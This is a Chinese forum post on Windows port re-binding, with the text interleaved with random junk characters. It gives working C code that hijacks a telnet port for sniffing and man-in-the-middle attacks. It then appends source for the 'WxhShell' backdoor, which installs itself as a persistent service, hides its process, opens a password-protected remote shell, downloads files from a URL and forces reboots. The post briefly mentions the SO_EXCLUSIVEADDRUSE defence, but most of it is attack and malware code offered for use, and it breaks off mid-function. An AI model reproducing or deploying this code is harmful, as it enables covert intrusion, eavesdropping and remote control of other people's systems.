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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "A jtNL5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `~( P  
kmM4KP#&|  
  saddr.sin_family = AF_INET; 4%WV)lt  
G+ =6]0HT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]rM{\En  
nLq7J:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?V_Qa0k  
"m]"%MU7 8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WG 9f>kE  
to Ei4u)m  
  这意味着什么?意味着可以进行如下的攻击: (^g?/i1@d  
!x.^ya  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9E _C u2B  
3 uwZ#   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $ 1(u.Ud  
tkdhT8_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qR<  
:V2j'R,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <p(&8P  
Pf oAg*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5=Bj?xb$'  
x+5Q}ux'G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0_bt*.w I+  
6wzF6] @O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zTY|Z@:  
4'rWy~` V  
  #include |0w'+HaE~N  
  #include !D%*s,t\'  
  #include 2]NP7Ee8 Z  
  #include    !)tXN=(1a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =ox#qg.5  
  int main() xiU-}H'o  
  { a<Pi J?  
  WORD wVersionRequested; 9#%(%s 2 +  
  DWORD ret; ~%^af"_  
  WSADATA wsaData; *Rshzv[  
  BOOL val; *MkhRLw\,  
  SOCKADDR_IN saddr; 6__@?XzJ  
  SOCKADDR_IN scaddr;  L}AR{  
  int err; :^kP?  
  SOCKET s; <C6/R]x#  
  SOCKET sc; lg;Y}?P  
  int caddsize; `<t{NJ&f  
  HANDLE mt; 'O`jV0aa'  
  DWORD tid;   ~0?p @8  
  wVersionRequested = MAKEWORD( 2, 2 ); S$]:3  
  err = WSAStartup( wVersionRequested, &wsaData ); L4sN)EI  
  if ( err != 0 ) { h_]3L/  
  printf("error!WSAStartup failed!\n"); 6K P!o  
  return -1; `. %;|"xR  
  } d8M"vd  
  saddr.sin_family = AF_INET; ,?B.+4CW\E  
   ^iubqtT]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %R;cXs4r  
cFUYT$8>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d^ !3bv*h  
  saddr.sin_port = htons(23); H'I|tPs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CV4V_G  
  { U^Z[6u  
  printf("error!socket failed!\n"); 3HbHl?-UNU  
  return -1; Xkl^!,  
  } 4PiNQ'*  
  val = TRUE; D4'? V Iz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `#fOY$#XB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _DC/`_'  
  { g)$Pvfc  
  printf("error!setsockopt failed!\n"); |[K7oa~#  
  return -1; =&"Vf!7YR7  
  } D0i84I`Z%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bS/`G0!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g8XGZW!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C4Z~9fzT  
^&&dO*0{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g) v"nNS  
  { O%o#CBf0  
  ret=GetLastError(); NG'VlT  
  printf("error!bind failed!\n"); LEhku4U.  
  return -1; PR|Trnd&D  
  } yN3Tk}{V  
  listen(s,2); Q77qrx3  
  while(1)  8k J k5  
  { F:pXdU-xf  
  caddsize = sizeof(scaddr); 6xL=JSi~  
  //接受连接请求 0y;&L63>T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9,`mH0jP  
  if(sc!=INVALID_SOCKET) 2+=|!+f  
  { MVt#n\_BZV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0*3 <}  
  if(mt==NULL) qoZ*sV  
  { 6j"(/X|Ex5  
  printf("Thread Creat Failed!\n"); h| UT/:  
  break; IU$bP#<  
  } TP{a*ke^5,  
  } sxThz7#i)  
  CloseHandle(mt); iqy}|xAU  
  } +crAkb}i  
  closesocket(s); tEN]0`  
  WSACleanup(); mApn(&  
  return 0; e!4akKw4wD  
  }   a+{g~/z;,Q  
  DWORD WINAPI ClientThread(LPVOID lpParam) $elrX-(vL  
  { R8'yQ#FVy  
  SOCKET ss = (SOCKET)lpParam; B10p7+NBF  
  SOCKET sc; )sV# b  
  unsigned char buf[4096]; TdKl`"Iy  
  SOCKADDR_IN saddr; <;=Y4$y[  
  long num; J+IW  
  DWORD val; \=N tbBL$[  
  DWORD ret; S OK2{xCG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {6%uNT>|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >t D-kzN  
  saddr.sin_family = AF_INET; K,IOD t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N7oMtlvL[w  
  saddr.sin_port = htons(23); J~_p2TZJ\3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vj2GK"$v  
  { EW5S%Y  
  printf("error!socket failed!\n"); Z$ftG7;P0  
  return -1; g~B@=R  
  } +W;B8^imG  
  val = 100; `n5c|`6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E<\\'VF  
  { *<Ddn&_  
  ret = GetLastError(); oVq@M  
  return -1; |ni cvg@  
  } (VOKa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WN?T*bz2  
  { fwq|8^S@  
  ret = GetLastError(); l4/TJ%`MG  
  return -1; `|/|ej]$P  
  } ESomw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5z]dA~;*2  
  { 'nT#3/rL  
  printf("error!socket connect failed!\n"); %M`|0g}!  
  closesocket(sc); {?!hUi+  
  closesocket(ss); u^]yz&9V  
  return -1; p +T&9  
  } cEqh|Q  
  while(1) P);Xke  
  { rmabm\QY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %'=oMbi>i4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :%>8\q>UX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M`>W'<  
  num = recv(ss,buf,4096,0); M:I,j  
  if(num>0) @wFm])}0  
  send(sc,buf,num,0); Cfi2N V  
  else if(num==0) D46| )-  
  break; d|o"QYX  
  num = recv(sc,buf,4096,0); I2W2B3D` c  
  if(num>0) Vks,3$  
  send(ss,buf,num,0); v PGuEfz  
  else if(num==0) K[kmfXKu  
  break; OeAPBhTmFj  
  } z9+94<J  
  closesocket(ss); Hug{9Hr3.  
  closesocket(sc); WuNu}Ibl}m  
  return 0 ; Dw #&x/G  
  } yBe/UFp+  
_bd#C   
PR'FSTg  
========================================================== ]bR'J\Fwl  
:5*<QJuI#A  
下边附上一个代码,,WXhSHELL 6=g7|}  
vJCL m/}*  
========================================================== sY6'y'a95  
ho20> vw#  
#include "stdafx.h" = ]@xXVf/  
)/ZSb1!  
#include <stdio.h> ZF t^q /pw  
#include <string.h> ..T (9]h  
#include <windows.h> |X.z|wKT6  
#include <winsock2.h> q#a21~S<  
#include <winsvc.h> ,9pi9\S  
#include <urlmon.h> v8@dvT<  
@i68%6H`?  
#pragma comment (lib, "Ws2_32.lib") YiJu48J  
#pragma comment (lib, "urlmon.lib") Q&#:M>!|  
sy`s$E d!  
#define MAX_USER   100 // 最大客户端连接数 +|H'I j$  
#define BUF_SOCK   200 // sock buffer ~ZNhU;%YW  
#define KEY_BUFF   255 // 输入 buffer Q|1bF!#(1  
&7W6IM   
#define REBOOT     0   // 重启 EsWszpRqb  
#define SHUTDOWN   1   // 关机 g.]'0)DMW  
MYPcH\K$h  
#define DEF_PORT   5000 // 监听端口 "pPNlV]UA^  
ye%F <:O7  
#define REG_LEN     16   // 注册表键长度 e)xWQ=,C  
#define SVC_LEN     80   // NT服务名长度 2)A D'  
UZ!hk*PF  
// 从dll定义API VM!x)i9z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mTPj@F>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CHU'FSq!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :mrGB3x{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /trc&V  
h+W^k+~(  
// wxhshell配置信息 bS'r}  
struct WSCFG { )q^vitkjup  
  int ws_port;         // 监听端口 10J*S[n1  
  char ws_passstr[REG_LEN]; // 口令 (J4utw Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no %:,=J  
  char ws_regname[REG_LEN]; // 注册表键名 gQEV;hCO  
  char ws_svcname[REG_LEN]; // 服务名 Ueeay^zN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x-pMT3m\D#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %_[-[t3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?>y-5B[K/(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K7.<,E"M.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3DHm9n+/:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xAjQW=  
gAj)3T@  
}; ` Z/ IW  
9CNHjs+-}s  
// default Wxhshell configuration K_5&_P1  
struct WSCFG wscfg={DEF_PORT, IebS~N E  
    "xuhuanlingzhe", 5);#\&B  
    1, 8joQPHkI\  
    "Wxhshell", )ziQ=k6d6  
    "Wxhshell", nB5[]x'  
            "WxhShell Service", *lK4yI*%o  
    "Wrsky Windows CmdShell Service", fh_ .J[Y.k  
    "Please Input Your Password: ", F^YIZ,=p!  
  1, %5G BMMn  
  "http://www.wrsky.com/wxhshell.exe", m%[t&^b}T  
  "Wxhshell.exe" FJLJ;]`7+  
    }; kpH;D=;  
Q 8rtZ  
// 消息定义模块 R`Lm"5w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p*0Ve21i,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #CPPdU$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;}~=W!yz  
char *msg_ws_ext="\n\rExit."; $5b|@  
char *msg_ws_end="\n\rQuit."; #%9]Lq  
char *msg_ws_boot="\n\rReboot..."; '-IT@}  
char *msg_ws_poff="\n\rShutdown..."; .=yus[,~  
char *msg_ws_down="\n\rSave to "; 8zC k9&  
m GhJn  
char *msg_ws_err="\n\rErr!"; }$U[5wL,_  
char *msg_ws_ok="\n\rOK!"; 'j_H{kQy  
6^|6V  
char ExeFile[MAX_PATH]; :\U3bkv+  
int nUser = 0; sAoM=n}!  
HANDLE handles[MAX_USER]; zy[=OX+  
int OsIsNt; 9i}D6te  
.$0Ob<.  
SERVICE_STATUS       serviceStatus; m0Syxb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u-{l,p_H  
eeU$uR  
// 函数声明 @MB _gt)7?  
int Install(void); _vdxxhJ=P3  
int Uninstall(void); 4Aew )   
int DownloadFile(char *sURL, SOCKET wsh); n^\;*1%$c@  
int Boot(int flag); Qcy`O m^2  
void HideProc(void); 38rZ`O*D  
int GetOsVer(void); 5|CiwQg|,p  
int Wxhshell(SOCKET wsl); ZZU8B?)  
void TalkWithClient(void *cs); #( sNk,^Ax  
int CmdShell(SOCKET sock); =&pN8PEn\  
int StartFromService(void); &fW=5'  
int StartWxhshell(LPSTR lpCmdLine); yCIgxPv|7  
U"+ ry.3`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ig}e@]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A+*oT(`  
E`fssd~  
// 数据结构和表定义 r0deBRM  
SERVICE_TABLE_ENTRY DispatchTable[] = yim$y, =d  
{ 50ew/fZj|  
{wscfg.ws_svcname, NTServiceMain}, aNC,ccm  
{NULL, NULL} :bRR(sP  
}; Kk>qgi$  
<cv1$ x ~P  
// 自我安装 3DAGW"F  
int Install(void) 6KCmswvE  
{ `Kw"XGT  
  char svExeFile[MAX_PATH]; 4E-A@FR  
  HKEY key; p@Y$eZ:O  
  strcpy(svExeFile,ExeFile); &}0wzcMg  
TucAs 0-bF  
// 如果是win9x系统,修改注册表设为自启动 8Wx@[!  
if(!OsIsNt) { Om2X>/V%C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .'b3iG&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KVM@//:{  
  RegCloseKey(key); (kQ.tsl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (+LR u1z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qH Ga  
  RegCloseKey(key); ^:!(jiH  
  return 0; @xm~T|[7  
    } g#b u_E61B  
  } X$ B]P 7G7  
} G;HlII9x[  
else { 2c~?UK[1  
^i+ z_%V  
// 如果是NT以上系统,安装为系统服务  g1wI/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kbYg4t]FH  
if (schSCManager!=0) L-C/Luws  
{ H='9zqYZ<W  
  SC_HANDLE schService = CreateService GHJ=-9{YL  
  ( < mK  
  schSCManager, ' ?G[T28  
  wscfg.ws_svcname, ,(0XsBL  
  wscfg.ws_svcdisp, [k~+(.2I  
  SERVICE_ALL_ACCESS, ]Ec[")"kT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [du>ff  
  SERVICE_AUTO_START, '<D`:srV  
  SERVICE_ERROR_NORMAL, B~;LBgpp  
  svExeFile, >?9 WeXG  
  NULL, q 9brpbg_  
  NULL, mu6xL QdA  
  NULL, PyT}}UKj:  
  NULL, U aj`  
  NULL 2]NAs9aZ  
  ); gLaO#cQ%  
  if (schService!=0) =3sldKL&F  
  { HCjn9  
  CloseServiceHandle(schService); :@>br+S  
  CloseServiceHandle(schSCManager); D d# SUQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JXY!c\,  
  strcat(svExeFile,wscfg.ws_svcname); `H2F0{\og  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d0A\#H_&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \ ~LU 'j  
  RegCloseKey(key); sK 1m9  
  return 0; [B ~zoB(  
    } {1@4}R4  
  } 3 2 1={\X  
  CloseServiceHandle(schSCManager); ^Em@6fz[  
} P\X=*  
} 8q~FUJhU  
{{]=zt|69  
return 1; 0"kE^=  
} e.}3OK  
LD~Jbq  
// 自我卸载 `F2*o47|t  
int Uninstall(void) ^KZAYB9C  
{ *)NR$9lGv  
  HKEY key; {rb-DB-/5M  
<Id1:  
if(!OsIsNt) { 2u~c/JryN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^EUOmVN  
  RegDeleteValue(key,wscfg.ws_regname); I^M#[xA  
  RegCloseKey(key); :nKsZ1bX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ L9?69B~  
  RegDeleteValue(key,wscfg.ws_regname); V8nz-DL{  
  RegCloseKey(key); g^z5fFLg/8  
  return 0; :n+y/6 *  
  } B15O,sL&W  
} T^'*_*m  
}  ?+ -/';  
else { AY&9JSu 6  
8sR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UU.mdSL  
if (schSCManager!=0)  \Z\IK  
{ npO@Haw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i9&K  
  if (schService!=0) 7#Uz*G\iZ  
  { wsf Hd<Z_  
  if(DeleteService(schService)!=0) { qD(fYOX{C  
  CloseServiceHandle(schService); Iuu<2#gb8"  
  CloseServiceHandle(schSCManager); *#Lsjk~_-  
  return 0; "$~}'`(]  
  } W( &Go'9e"  
  CloseServiceHandle(schService); ^I(oy.6?=p  
  } 3yHb!}F  
  CloseServiceHandle(schSCManager); ,#E3,bu6_4  
} :$M9XZ~\  
} T .Pklty  
L9{mYA]q  
return 1; ;L G %s  
} p|h.@do4   
GhG%>U#&a  
// 从指定url下载文件 Sl. KLc@@  
int DownloadFile(char *sURL, SOCKET wsh) BaWQ<T8p8  
{ 60hNCVq%  
  HRESULT hr; P\q<d  
char seps[]= "/"; R<n8M"B  
char *token; L,C? gd@"  
char *file; aPD?Bh>JU  
char myURL[MAX_PATH]; J ?ztn  
char myFILE[MAX_PATH]; }t@f |TX  
m4P hn~>Gg  
strcpy(myURL,sURL); g[#k.CuP  
  token=strtok(myURL,seps); 'DCKD4@C/  
  while(token!=NULL) }b_R5U$@@  
  { iUeV5cB  
    file=token; qs6Nb'JvQR  
  token=strtok(NULL,seps); 935-{h@k  
  } MB ]#%g&  
U6c)"^\  
GetCurrentDirectory(MAX_PATH,myFILE); gt =j5  
strcat(myFILE, "\\"); XGE 2J  
strcat(myFILE, file); tJUVw=  
  send(wsh,myFILE,strlen(myFILE),0); {E3xI2  
send(wsh,"...",3,0); Ne &Xf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o,?!"*EP  
  if(hr==S_OK) ]regi- LGU  
return 0; DAjG *K{  
else +"k.E x0:  
return 1; v2/yw,  
gHQPhe#n  
} .abyYVrN4?  
/hm84La  
// 系统电源模块 u:_sTfKm&  
int Boot(int flag) [NHg&R H  
{ [kPD`be2#  
  HANDLE hToken; QuSV&>T\  
  TOKEN_PRIVILEGES tkp; 8g<Q5(  
?!bd!:(N  
  if(OsIsNt) { o2;(VSKhS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |RR"'o_E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~hS3*\^~M  
    tkp.PrivilegeCount = 1; SQh+5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :d;[DYFLxb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 69t7=r  
if(flag==REBOOT) { F;IP3tD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mSU@UD|'  
  return 0; C-Nuy1o  
} SV$nyV  
else { TRF]i/Bs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O!:QJ ^8 d  
  return 0; &}vR(y*#c  
} r0)JUc}Fyq  
  } 1S+;ZMk  
  else { {I4%   
if(flag==REBOOT) { ctp?y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {/-y>sm  
  return 0; rei 8LW  
} n4^~gT%b5]  
else { L<bYRGz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J"diFz+20  
  return 0; fx<FIj7  
} 9 0X?1  
} HwB {8S?sm  
znt)]>f#  
return 1; {bT9VZ>  
} k) "ao2iXL  
9z #P  
// win9x进程隐藏模块 J5O.*&  
void HideProc(void) ID)^vwn  
{ t2"@Ps&1|  
qv *3A?uzr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 24/ /21m  
  if ( hKernel != NULL ) DH:J  
  { E[S? b=^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Iha[G u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;xfO16fNk  
    FreeLibrary(hKernel); 3FFaEl  
  } 92ZWU2"  
Ffnk1/ Zy  
return; Y!Drb-U?;  
} y>$1 UwQ  
XcOA)'Py  
// 获取操作系统版本 +fM&su=wl  
int GetOsVer(void) S"zk!2@C  
{ M~als3  
  OSVERSIONINFO winfo; RoX &+~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q%>7L<r  
  GetVersionEx(&winfo); ZI,j?i6\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uG;?vvg>  
  return 1; 4:D:| r  
  else b6|Z"{TI _  
  return 0; &M[MEO`t8  
} ZP-dW|<[ x  
!K[/L< Kv  
// 客户端句柄模块 |8bE9qt.P  
int Wxhshell(SOCKET wsl) lK*jhW?3:  
{ fmFzW*,E  
  SOCKET wsh; <|a=hHPi:  
  struct sockaddr_in client; \^9pW 2v  
  DWORD myID; EJ`Q8uz  
:/6()_>bO  
  while(nUser<MAX_USER) E4r.ky`#~  
{ A#(`9  
  int nSize=sizeof(client); ur6e&bTp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #,&8&  
  if(wsh==INVALID_SOCKET) return 1; ]BfS270  
-^Xy%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UgC)7 K1  
if(handles[nUser]==0) oCVku:.  
  closesocket(wsh); }S */b1  
else ZZ("-#?  
  nUser++; #F!Kxks  
  } fz3lR2~G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }%$OU =T  
?KB@Zm+#~  
  return 0; A d/($v5+  
} F}D3,&9N  
)7dEi+v52  
// 关闭 socket xdZ<| vMR  
void CloseIt(SOCKET wsh) mZ7B<F[qV  
{ r2nBWA3  
closesocket(wsh); p>q&&;fe  
nUser--; n3$gx,KL  
ExitThread(0); GF'f[F6oI  
} P`EgA  
#-{N Ws\  
// 客户端请求句柄 [(ygisqt  
void TalkWithClient(void *cs) L+.H z&*@  
{ M\9F:.t=  
cvfUyp;P  
  SOCKET wsh=(SOCKET)cs; h=6xZuA\  
  char pwd[SVC_LEN]; F+uk AT  
  char cmd[KEY_BUFF]; Q_]~0PoH  
char chr[1]; 6aY>lkp  
int i,j;  q>-R3HB  
rLzW`  
  while (nUser < MAX_USER) { FaY_ 0G;y  
\0?$wIH?  
if(wscfg.ws_passstr) { pDn&V(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,[X_]e;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 59 <hV?  
  //ZeroMemory(pwd,KEY_BUFF); d2~l4IL)~  
      i=0; 5/?P|T   
  while(i<SVC_LEN) { @ 7W?8  
X?/Lz;,&  
  // 设置超时 xQU"A2{}>  
  fd_set FdRead; 3z3_7XI  
  struct timeval TimeOut; !n<o)DsZR  
  FD_ZERO(&FdRead); E(4w5=8TI  
  FD_SET(wsh,&FdRead); uv]{1S{tb  
  TimeOut.tv_sec=8; s8vKKvs`9  
  TimeOut.tv_usec=0; _Yq@FOu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SkHYXe"]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {x {H$f  
#{*LvI&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =7 w>wW-  
  pwd=chr[0]; Fp%Ln(/m  
  if(chr[0]==0xd || chr[0]==0xa) { gn)R^  
  pwd=0; ){P^P!s$  
  break; _ym"m,,7?  
  } zkexei4^<  
  i++; .'T40=7  
    } {kL&Rv%'  
 3-|3`(  
  // 如果是非法用户,关闭 socket =6\LIbO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OJ1tV% E  
} wL3,g2-L  
$a(`ve|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LZ<[ll#C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {C")#m-0  
,T|x)"uA`  
while(1) { U~H?4Izl=  
cWa)#:JOV  
  ZeroMemory(cmd,KEY_BUFF); U>F{?PReA?  
cyQBqG  
      // 自动支持客户端 telnet标准   =a$Oecg?  
  j=0; }k7'"`#?"  
  while(j<KEY_BUFF) { ->gZ)?Fqy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KX4],B5 +  
  cmd[j]=chr[0]; q \O Ou  
  if(chr[0]==0xa || chr[0]==0xd) { !SxG(*u  
  cmd[j]=0; & mt)d  
  break; vt1lR5  
  } !{Z~<Ky  
  j++; LFf`K)q  
    } QyGnDomQ  
~h)&&' a  
  // 下载文件 2@khSWV  
  if(strstr(cmd,"http://")) { 7L3ik;>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y; ) .+si  
  if(DownloadFile(cmd,wsh)) gl7|H&&xV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0mM>X HB  
  else {5j66QFoo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M 2q"dz   
  } )uheV,ZnY  
  else { x#H 3=YD*  
ynwG\V  
    switch(cmd[0]) { $`J_:H%  
  V/%~F6e  
  // 帮助 Vba.uKNjk  
  case '?': { w$fJ4+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Qy$I-Du  
    break; tTanW2C  
  } l"+J c1\X  
  // 安装 7cTk@Gq  
  case 'i': { rcN 9.1  
    if(Install()) @It>*B yB.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z rfUQO  
    else 1iBP,:>*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L{fFC%|l2L  
    break; ('[TLHP  
    } I]`-|Q E  
  // 卸载 [wnDHy6W  
  case 'r': { gm"#:< )  
    if(Uninstall()) }6u2*(TmD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|^CK|m6*  
    else 9jir* UI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Af(WV>'  
    break; 5*-3? <)e  
    } 7^6uG6  
  // 显示 wxhshell 所在路径 K9Hqq7"%  
  case 'p': { /j2H A^GT  
    char svExeFile[MAX_PATH]; #q\x$   
    strcpy(svExeFile,"\n\r"); K`-!uZW:B7  
      strcat(svExeFile,ExeFile); F7*wQ{~  
        send(wsh,svExeFile,strlen(svExeFile),0); }T_Te?<&  
    break; p9eRZVy/  
    } ca<"  
  // 重启 yYZxLJ='  
  case 'b': { x.mrCJn)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cmwPuK$  
    if(Boot(REBOOT)) TFQ!7'xk)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /8'S1!zc  
    else { 5 `/< v^  
    closesocket(wsh); rf &M!d}!  
    ExitThread(0); %3r:s`{  
    } KKe8 ly,  
    break; "tk-w{>  
    } "Zv~QwC  
  // 关机 $A_]:qI2  
